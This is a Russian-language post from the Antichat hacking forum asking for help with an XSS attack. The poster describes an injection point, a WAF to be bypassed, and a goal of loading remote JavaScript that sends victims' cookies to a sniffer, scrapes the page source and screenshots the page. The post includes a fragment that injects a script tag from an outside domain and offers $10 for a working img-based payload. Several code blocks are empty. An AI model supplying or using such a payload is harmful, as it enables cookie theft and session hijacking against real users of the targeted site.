ANTICHAT - [XSS вектор] Подгрузка JS через <img>. Обход фильтров.

Приветствую.

Имеется: XSS вида, https://host.com/parametr?i='/>XSS

Задача

Обойти фильтр и подгрузить js код с хоста https://site.com/, в нем передача cookie на сниффер, парсинг исходного кода страницы и скриншот страницы.

Работает: ,

Фильтр: WAF фильтрует теги указанные ниже, в base64 не отрабатывает.

Код:

javascript:

Код:

var s = document.createElement('script'); s.src='https://domen.com/1

Код:

Пробовал использовать пейлоады с OWASP, работают практически все html теги, он img до input..

Буду премного благодарен за помощь в написании правильного пайлода с img для исполнения js кода с хоста.

p.s за работоспособное решение оплачу 10$ на кофе